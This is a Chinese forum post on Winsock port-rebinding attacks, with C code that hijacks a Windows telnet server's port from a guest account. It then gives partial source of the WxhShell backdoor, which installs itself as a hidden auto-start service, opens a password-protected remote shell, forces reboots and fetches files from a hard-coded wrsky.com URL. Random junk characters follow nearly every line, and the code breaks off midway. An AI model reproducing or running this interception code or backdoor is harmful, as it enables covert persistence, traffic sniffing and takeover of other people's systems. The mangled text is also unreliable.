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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^)(bM$(`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M dZ&A}S  
3D!5T8 @  
  saddr.sin_family = AF_INET; AsAT_yv#  
4wa`<H&S5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QDs^Ije  
Z:,U]Z(  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5p<ItU$pnL  
!MYSfPdS  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 hAYTj0GZ  
 x }\64  
  这意味着什么?意味着可以进行如下的攻击: k7?N ?7w  
'Jt]7;04p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^?cz,N~  
lE;Ewg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) k9  "[H'  
uD1e!oU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 D7lK30  
"!Uqcay-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x(hE3S#+  
Hyb3 ;yQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 K/tRe/t }  
6-yd]("  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "U!AlZ`g  
WG N=Y~E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d F9!G;V  
CdasP9"1  
  #include y4*U6+#.  
  #include A'q#I>j`  
  #include TD1 [  
  #include    i5Zk_-\#H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   C~nzH,5  
  int main() ^B(V4-|  
  { )2V:  
  WORD wVersionRequested; N}pw74=1  
  DWORD ret; [q/Abz'i  
  WSADATA wsaData; bu:S:`  
  BOOL val; ln?v j)j  
  SOCKADDR_IN saddr; ;'5>q&[qbP  
  SOCKADDR_IN scaddr; 8Eakif0CO  
  int err; ;pqg/>W'  
  SOCKET s; PJ]];MQ  
  SOCKET sc; ZAv,*5&<  
  int caddsize; 3&u&x(   
  HANDLE mt; \@8+U;d  
  DWORD tid;   z.GMqW%B  
  wVersionRequested = MAKEWORD( 2, 2 ); K8>zF/# +  
  err = WSAStartup( wVersionRequested, &wsaData ); BybW)+~  
  if ( err != 0 ) { 85n1eE  
  printf("error!WSAStartup failed!\n"); D}dn.$  
  return -1; iVB86XZ`  
  } wF|fK4F  
  saddr.sin_family = AF_INET; NWM8[dI  
   A6:es_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xnmmXtk  
O-LO/*5MI  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `D=S{   
  saddr.sin_port = htons(23); S/D^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R]OpQ[k  
  { )z&/_E=  
  printf("error!socket failed!\n"); 'NX```U0  
  return -1; .q9 $\wM/  
  } 7w'wjX-  
  val = TRUE; o Z%9_$Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 a^`rtvT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3 ):A   
  { NF+iza;DP  
  printf("error!setsockopt failed!\n"); y^%n'h{  
  return -1; ?YZ- P{rTS  
  } 7( qE0R&@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _9=Yvc=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =bHD#o|R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `glBV`?^  
lrv3fPIW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -amBB7g  
  { A9wh(P0\  
  ret=GetLastError(); !q9+9 *6  
  printf("error!bind failed!\n"); MC<PM6w  
  return -1; _(h&7P9  
  } T(t+ iv  
  listen(s,2); A<1hOSCz\  
  while(1) n}'=yItVL1  
  { vU767/  
  caddsize = sizeof(scaddr); 95YL]3V  
  //接受连接请求 %] >KvoA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pgOQIzu  
  if(sc!=INVALID_SOCKET) @^T1XX  
  { _~piZmkG$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +tVaBhd!  
  if(mt==NULL) So0f)`A  
  { ;~"FLQg@  
  printf("Thread Creat Failed!\n"); 5<UVD:~z  
  break; s (zL   
  } gREzZ+([  
  } my}-s  
  CloseHandle(mt); :P<]+\m  
  } KU8J bl*   
  closesocket(s); B5X(ykaX~  
  WSACleanup(); f6p-s y>  
  return 0; &Rvm>TC=  
  }   1XD,uoxB  
  DWORD WINAPI ClientThread(LPVOID lpParam) a{R%#e\n  
  { P %#<I}0C  
  SOCKET ss = (SOCKET)lpParam; EJsM(iG]~M  
  SOCKET sc; .w0s%T,8}^  
  unsigned char buf[4096]; cUY`97bn  
  SOCKADDR_IN saddr; <Dwar>}  
  long num; ;\=M; Zt  
  DWORD val; [N/"5 [  
  DWORD ret; h&--,A >  
  //如果是隐藏端口应用的话,可以在此处加一些判断 %`r?c<P}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N7O-2Z *  
  saddr.sin_family = AF_INET; Cn "s` q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1(|'WyD  
  saddr.sin_port = htons(23); mGJasn  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3?1`D/  
  { ;i<|9{;  
  printf("error!socket failed!\n"); tE)suU5Y  
  return -1; prTw'~(B  
  } FLGk?.x$\  
  val = 100; fpFhn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R )mu2 ^  
  { [uI|DUlI6o  
  ret = GetLastError(); Bh;7C@dq  
  return -1; @JyK|.b#0  
  } vSi.txV2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5 N#3a0)  
  { )?X-(4  
  ret = GetLastError(); k +H3Bq  
  return -1; (=* cK-3  
  } R,pX:H&#+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TrLu~4  
  { U$_xUG  
  printf("error!socket connect failed!\n"); ~ xft  
  closesocket(sc); *=+td)S/1  
  closesocket(ss); =8; {\  
  return -1; 9983aFam  
  } ?e,pN,4  
  while(1) >h k=VyU;  
  { )u/yF*:n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 6^%68N1k  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dIRm q+d^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Qj.l:9%  
  num = recv(ss,buf,4096,0); 4KH45|; 3  
  if(num>0) 5[* qi?w=  
  send(sc,buf,num,0); c6X}2a'  
  else if(num==0) l zYnw)Pv  
  break; 6P5Ih  
  num = recv(sc,buf,4096,0); ?34 e-  
  if(num>0) iVy7elT;R  
  send(ss,buf,num,0); V`bi&1?6\  
  else if(num==0) 5A sP5  
  break; ,!7 H]4Qx  
  } 1e&QSzL  
  closesocket(ss); $`z)~6'  
  closesocket(sc); ;uw Ryd  
  return 0 ; ]cGA~d  
  } A7%:05  
t4-pM1]1_  
f"u%J/e&  
========================================================== W!6qqi{  
11<KpxKpk  
下边附上一个代码,,WXhSHELL Bh=u|8yxc  
}T%}wdj  
========================================================== 4*e0 hWp  
~ ; -! n;  
#include "stdafx.h" B:!W$ <  
Z(Bp 0a  
#include <stdio.h> ~[\_N\rm  
#include <string.h> jC7&s$>Q"g  
#include <windows.h> IFDZfx  
#include <winsock2.h> '+$EhFwD  
#include <winsvc.h> }lfnnK#  
#include <urlmon.h> dVsE^jsL  
$D}{]MN.  
#pragma comment (lib, "Ws2_32.lib") Mi/&f   
#pragma comment (lib, "urlmon.lib") WnGGo ' Z  
2UFv9  
#define MAX_USER   100 // 最大客户端连接数 )e a:Q?  
#define BUF_SOCK   200 // sock buffer (Nx;0"5IX  
#define KEY_BUFF   255 // 输入 buffer h\PHK C2  
J,AR5@)1  
#define REBOOT     0   // 重启 _c, '>aH=  
#define SHUTDOWN   1   // 关机 +=.W<b  
Kwg4sr5"D  
#define DEF_PORT   5000 // 监听端口 n(L\||#+  
4Qo]n re!  
#define REG_LEN     16   // 注册表键长度 + j W1V}h  
#define SVC_LEN     80   // NT服务名长度 w0C~*fn3l  
unBy&?&p  
// 从dll定义API *7h!w!LN~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Up,vD)tG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D,g1<:<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nSkPM 5\TI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qUOKB6  
x}Aw)QCh+r  
// wxhshell配置信息 /yZQ\{=  
struct WSCFG { VxXzAeM  
  int ws_port;         // 监听端口 ]Yvga!S"C  
  char ws_passstr[REG_LEN]; // 口令 H<}^'#"p  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;uW}`Q<  
  char ws_regname[REG_LEN]; // 注册表键名 tPGJ<30  
  char ws_svcname[REG_LEN]; // 服务名 \l.-eu'O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vh*U]3@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4qYUoCR&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 82]vkU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k5C@>J  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~Q>_uw}g#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .F(i/)vaq|  
^1L>l9F  
}; ])Qs{hs~s  
|"9 #bU  
// default Wxhshell configuration i}o[- S4  
struct WSCFG wscfg={DEF_PORT, ]@0NO;bK>F  
    "xuhuanlingzhe", :P@rkT3Qt  
    1, 4y5UkU9|  
    "Wxhshell", )J NSZB  
    "Wxhshell", *0>mB  
            "WxhShell Service", y !!E\b=  
    "Wrsky Windows CmdShell Service", E Kz'&Gu  
    "Please Input Your Password: ", ^pe{b9c  
  1, +{L<? "  
  "http://www.wrsky.com/wxhshell.exe", Pw;!uag  
  "Wxhshell.exe" K!]1oy'V  
    }; M>>qn_yq4  
,i,q!M{-  
// 消息定义模块 v0ES;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [w&$|h:;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +C(/ Lyo}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EB_NK  
char *msg_ws_ext="\n\rExit."; d R]Q$CJ  
char *msg_ws_end="\n\rQuit."; o`q_wdy?  
char *msg_ws_boot="\n\rReboot..."; YcN!T"w J@  
char *msg_ws_poff="\n\rShutdown..."; C,pJ`:P  
char *msg_ws_down="\n\rSave to "; '^FGc  
lME)?LOI  
char *msg_ws_err="\n\rErr!"; NU*fg`w  
char *msg_ws_ok="\n\rOK!"; _!?Hu/zo  
GR"Eas.$  
char ExeFile[MAX_PATH]; Sf,R^9#|  
int nUser = 0; Eyh51IB.  
HANDLE handles[MAX_USER]; Q]w&N30  
int OsIsNt; \0H's{uek  
j`*#v  
SERVICE_STATUS       serviceStatus; ,57`D'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !DI{:I_h(  
z ly unJD(  
// 函数声明 \a=D  
int Install(void); DVkB$2]  
int Uninstall(void); v^_mFp-}\  
int DownloadFile(char *sURL, SOCKET wsh); {|yob4N  
int Boot(int flag); QEu=-7@>  
void HideProc(void); !grVR157P  
int GetOsVer(void); Q lHd,w  
int Wxhshell(SOCKET wsl); 6"D/xV3Z  
void TalkWithClient(void *cs); Zb134b'  
int CmdShell(SOCKET sock); ^+1#[E  
int StartFromService(void); Q26qNn bK  
int StartWxhshell(LPSTR lpCmdLine); LT,?$I  
His*t1o8'O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'D%w|Pe?Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =07]z@s  
A?oXqb  
// 数据结构和表定义 !Y:0c#MPH  
SERVICE_TABLE_ENTRY DispatchTable[] = -Z?Vd!H:  
{ Izv+i*(dl  
{wscfg.ws_svcname, NTServiceMain}, 0^8)jpL$<9  
{NULL, NULL} _` [h,=  
}; }h}<! s  
7oR:1DX w|  
// 自我安装 yj$TPe_BW  
int Install(void) ,.o<no  
{ U7DCx=B  
  char svExeFile[MAX_PATH]; >R2SQA o  
  HKEY key; d|*"IFe  
  strcpy(svExeFile,ExeFile); wV)}a5+  
s-7RW  
// 如果是win9x系统,修改注册表设为自启动 N*@aDM07  
if(!OsIsNt) { d.2mT?`#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V`-vR2(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n?:=  
  RegCloseKey(key); 3J=Y9 }  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XZ/[v8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N|Sf=q?Ko  
  RegCloseKey(key); <soz#}e  
  return 0; _zu?.I0^  
    } ~-83Q5/[  
  } _HA$ j2  
} Jy aag-  
else { @Fpb-Qd"  
-.|4Y#b:&  
// 如果是NT以上系统,安装为系统服务 \Fe_rh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); u?[ q=0.J7  
if (schSCManager!=0) 3F#+~^2  
{ C P3<1~  
  SC_HANDLE schService = CreateService er.CDKD%L  
  ( :vL1}H<  
  schSCManager, 1H,g=Y4f%  
  wscfg.ws_svcname, x#N-&baS  
  wscfg.ws_svcdisp, `:eViVl6e  
  SERVICE_ALL_ACCESS, ]O:N-Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8V-\e?&^  
  SERVICE_AUTO_START,  A, PlvI  
  SERVICE_ERROR_NORMAL, RuG-{NF{F  
  svExeFile, +]@Az.E  
  NULL, cM_ Fp  
  NULL, S',9g4(5  
  NULL, K"V:<a  
  NULL, k5&bq2)I  
  NULL \Yoa:|%*y  
  ); sIl33kmv  
  if (schService!=0) vwr74A.g0  
  { {@u<3 s  
  CloseServiceHandle(schService); XIWm>IQ[)  
  CloseServiceHandle(schSCManager); (#oycj^<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;_:Ool,  
  strcat(svExeFile,wscfg.ws_svcname); yxBUj*3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #2:a[ ~Lf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); jb /8?7  
  RegCloseKey(key); 4{qB X?  
  return 0; i\H+X   
    } XTDE53Js&  
  } 60Z]M+8y8  
  CloseServiceHandle(schSCManager); ?Mp1~{8  
} <g9"Cr`  
} %k0EpJE%  
[ "xn5l E  
return 1; 7rHS^8'H&  
} wVq\FY%  
~B$b)`*  
// 自我卸载 Y1dVM]l  
int Uninstall(void) "*7C`y5&P  
{ _iE j  
  HKEY key; gq5qRi`q  
c {I"R8  
if(!OsIsNt) { +3,|"g::  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y>\S@I  
  RegDeleteValue(key,wscfg.ws_regname); F pt-V  
  RegCloseKey(key); &&L"&Rc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,eQ[Fi!!  
  RegDeleteValue(key,wscfg.ws_regname); zx1:`K0bi  
  RegCloseKey(key); d/7lefF  
  return 0; \nqo%5XL  
  } &gc `<kLu  
} Vdn.)ir~P  
} 9zgNjjCl]  
else { Z v0C@r  
P=H+ #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o7+>G~i  
if (schSCManager!=0) Q&M'=+T  
{ Zwe[_z!*D  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k*-NsNPw$  
  if (schService!=0) x:t<ZG&Xwg  
  { Ewo*yY>  
  if(DeleteService(schService)!=0) { +ySY>`1k~  
  CloseServiceHandle(schService); yoqa@V  
  CloseServiceHandle(schSCManager); r-w2\2  
  return 0; tLcEl'Eo  
  } !5x Ly6=}  
  CloseServiceHandle(schService); S)%_weLW7  
  } ad!(z[F'Y  
  CloseServiceHandle(schSCManager); ,M3z!=oIGn  
} z#<P} }  
} tiLu75vj  
uv4 _:   
return 1; Wn!G.(Jq  
} #Nte^E4  
?kt=z4h9(  
// 从指定url下载文件 jnoL2JR[=-  
int DownloadFile(char *sURL, SOCKET wsh) 30FykNh  
{ ~_!ts{[E  
  HRESULT hr; Xz;b,C&*t  
char seps[]= "/"; .F0]6#(  
char *token; #B\=Aa`*  
char *file; JatHSW7j9  
char myURL[MAX_PATH]; fo\\o4Qyh  
char myFILE[MAX_PATH]; r3I,11B  
4Y tk!oS`  
strcpy(myURL,sURL); !W1eUY  
  token=strtok(myURL,seps); ${U6=  
  while(token!=NULL) {TZE/A3D,  
  { u9![6$R  
    file=token; Y~oT)wTU  
  token=strtok(NULL,seps); Rq7p29w  
  } W81o"TR|pt  
.R5/8VuHF  
GetCurrentDirectory(MAX_PATH,myFILE); NcL =z o<  
strcat(myFILE, "\\"); lVeH+"M?  
strcat(myFILE, file); jeDlH6X'  
  send(wsh,myFILE,strlen(myFILE),0); =sQ(iso%f  
send(wsh,"...",3,0);  ~q%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *kaJ*Ti-/  
  if(hr==S_OK) %OI4a5V*l  
return 0; BV9*s  
else qtSs)n  
return 1; xaXV ^ZM3  
MWq$AK]  
} Vdvx"s[`m  
w)S;J,Hv  
// 系统电源模块 /BzA(Ic/  
int Boot(int flag) (Cj,\r  
{ 6MrKi|'X@  
  HANDLE hToken; sT<{SmBF  
  TOKEN_PRIVILEGES tkp; E_[ONm=,  
R @r{  
  if(OsIsNt) { dE>v\0 3!8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3kLOoL?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); - s|t^  
    tkp.PrivilegeCount = 1; oofFrAaT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @ t@|q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >rwYDT#m]  
if(flag==REBOOT) { 0|2%#  E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WbzA Jx 5  
  return 0; `I> ], J/  
} U5 rxt^  
else { ida*]+ ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *4#on>  
  return 0; [&n|\!  
} ;4d.)-<No_  
  } *IlQ5+3I  
  else { yv${M u  
if(flag==REBOOT) { 0^>E`/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v:P!(`sF  
  return 0; i$#,XFFp~  
} ;a{rWz1Wm  
else { ,cQ)cY[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DN|vz}s  
  return 0; |' @[N,  
} ^"`Z1)V  
} eH=c|m]!P  
-q(:%;  
return 1; L; C|ow^c  
} _z:Qhe  
$Z7:#cZ Y  
// win9x进程隐藏模块 |B1Af  
void HideProc(void) !?r/ 4  
{ 3ExVZu$  
Ao!=um5D J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -eYL*Pa  
  if ( hKernel != NULL ) nE<J`Wo$f  
  { RQ5P}A 3H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K|~AA"I;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u.&|CF-  
    FreeLibrary(hKernel); NlFo$Y  
  } a&:>Ped"  
rHo6iJj  
return; )GCLK<,swu  
} ZX]A )5G  
-$tCF>,  
// 获取操作系统版本 tnRJ#[Io  
int GetOsVer(void) 'WnpwY  
{ O<iI  
  OSVERSIONINFO winfo; 3AP YO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6+#,=!hF{  
  GetVersionEx(&winfo); tAt;bYjb\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Eb7}$Ji\  
  return 1; 67 O<*M  
  else &`sR){R  
  return 0; |bvGYsn_#=  
} W[ "HDR  
jrdtd6b}  
// 客户端句柄模块 -~]^5aa5n  
int Wxhshell(SOCKET wsl) M[vCpa  
{ _pW 'n=}R  
  SOCKET wsh; @_uFX!;  
  struct sockaddr_in client; }Y$VB%&Hy  
  DWORD myID; W#Cq6N  
I9:%@g]uYw  
  while(nUser<MAX_USER) Z[bv0Pr  
{ ,m"l\jP  
  int nSize=sizeof(client); " V/k<HRw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _6 /Qp`s  
  if(wsh==INVALID_SOCKET) return 1; R_~F6O^EO  
C0f[eA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bF7`] 83  
if(handles[nUser]==0) gTyW#verh$  
  closesocket(wsh); sK[Nti0  
else 0Sz/c+ 6  
  nUser++; :!hk~#yvJ9  
  } ]N_140N~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zPA>af~Ej  
uyvskz\  
  return 0; l85CJ+rg  
} .>oM z&  
3?]S,~!F  
// 关闭 socket I@c0N*(  
void CloseIt(SOCKET wsh) ~EPjZ3 ?  
{ s!=!A  
closesocket(wsh); }K+\8em  
nUser--; ~JT lPU'  
ExitThread(0); H|'$dO)W  
} _qk9o  
rcpvH}N:  
// 客户端请求句柄 /. f!  
void TalkWithClient(void *cs) Zm5nLxM  
{ ]#+5)[N$>  
; S{ZC5  
  SOCKET wsh=(SOCKET)cs; q w"e0q%)  
  char pwd[SVC_LEN]; J~:kuf21  
  char cmd[KEY_BUFF]; 2%*|fF}I  
char chr[1]; Dj/Q1KY$m  
int i,j; X^9t  
a#>t+.dd  
  while (nUser < MAX_USER) { o^N%;d1%E  
!fif8kf  
if(wscfg.ws_passstr) { Yr Preuh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _GRv   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7?*~oVZW  
  //ZeroMemory(pwd,KEY_BUFF); wP+'04H0  
      i=0; Rf&^th}TH  
  while(i<SVC_LEN) { HL|0d }  
>hh"IfIZ4  
  // 设置超时 #`2GAM];7  
  fd_set FdRead; WodF -bE  
  struct timeval TimeOut; l ,ZzB,"  
  FD_ZERO(&FdRead); X6n|Xq3k  
  FD_SET(wsh,&FdRead); s; ~J2h[  
  TimeOut.tv_sec=8; !Q\X)C  
  TimeOut.tv_usec=0; 6k@[O@)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); YL_!#<k@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5Xla_@WLW  
oM m/!Dc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ebmqq#SHjX  
  pwd=chr[0]; InTKdr^ P  
  if(chr[0]==0xd || chr[0]==0xa) { 6S` ,j  
  pwd=0; HP1X\h!Ke  
  break; bkJn}Al;  
  } =r=^bNO  
  i++; hnlU,p&y3  
    } "Vs Nyy  
s#4))yUR6Z  
  // 如果是非法用户,关闭 socket )3d:S*ly  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _AA`R`p;  
} bi,rMgW  
c'>8pd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0^_)OsFA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ">v_uq a  
C _ k_D  
while(1) { im_0ur&'  
-uS7~Ww.a  
  ZeroMemory(cmd,KEY_BUFF); Zz wZ, (  
9~*_(yjF  
      // 自动支持客户端 telnet标准   r5<e}t-  
  j=0; rGP? E3  
  while(j<KEY_BUFF) { U* c{:K-C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xX[{E x   
  cmd[j]=chr[0]; +K @J*W 1  
  if(chr[0]==0xa || chr[0]==0xd) { E}E7VQjM  
  cmd[j]=0; !dYX2!lvT  
  break; p2M?pV  
  } EC:x  ,i  
  j++; sP=2NqU3Q  
    } BUboP?#%)  
KG7X8AaK#  
  // 下载文件 !'c6Hs  
  if(strstr(cmd,"http://")) { %t(, *;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k N uN4/  
  if(DownloadFile(cmd,wsh)) $/-wgyP3m+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); gDjd{+LUo  
  else f^>lObvd  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UwzE'#Q-  
  } X_EC:GU  
  else { =[43y%   
gs)%.k[BqG  
    switch(cmd[0]) { GHJQ d&G8G  
  :ok!,QN  
  // 帮助 Z\o AE<$  
  case '?': { J/H#d')c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); co(fGp#!  
    break; r[i~4N=  
  } V9);kD  
  // 安装 8#d99dOe  
  case 'i': { l)2HHu<  
    if(Install()) kKI!B`j=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6='_+{   
    else tle K (^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N:sECGS,  
    break;  G$cq   
    } (D +{0 /  
  // 卸载 E2ayK> ,  
  case 'r': { KX=:)%+  
    if(Uninstall()) 4jue_jsle  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e`gGzyM  
    else /ltP@*bo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }rb ]d'|  
    break; 8Y;zs7Y  
    } %`<`z yf  
  // 显示 wxhshell 所在路径 Y+Q,4s  
  case 'p': { ~,3v<A[5Vi  
    char svExeFile[MAX_PATH]; zMHf?HQ-Z  
    strcpy(svExeFile,"\n\r"); x X=IMM3  
      strcat(svExeFile,ExeFile); Dk. 9&9mz  
        send(wsh,svExeFile,strlen(svExeFile),0); xN":2qy#T  
    break; 'AlSq:gZ  
    } .w*{=x0k  
  // 重启 oW\7q{l2)  
  case 'b': { 9  lazo  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V.G9J!?<P  
    if(Boot(REBOOT)) MX< ($M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qS[p|*BL  
    else { IQ27FV|3  
    closesocket(wsh); 1x<rh\oo  
    ExitThread(0); =.=. \K  
    } \]d*h]Hms  
    break; b~jvmcr  
    } <LA`PbQa  
  // 关机 h-v &I>  
  case 'd': { |jCE9Ve#  
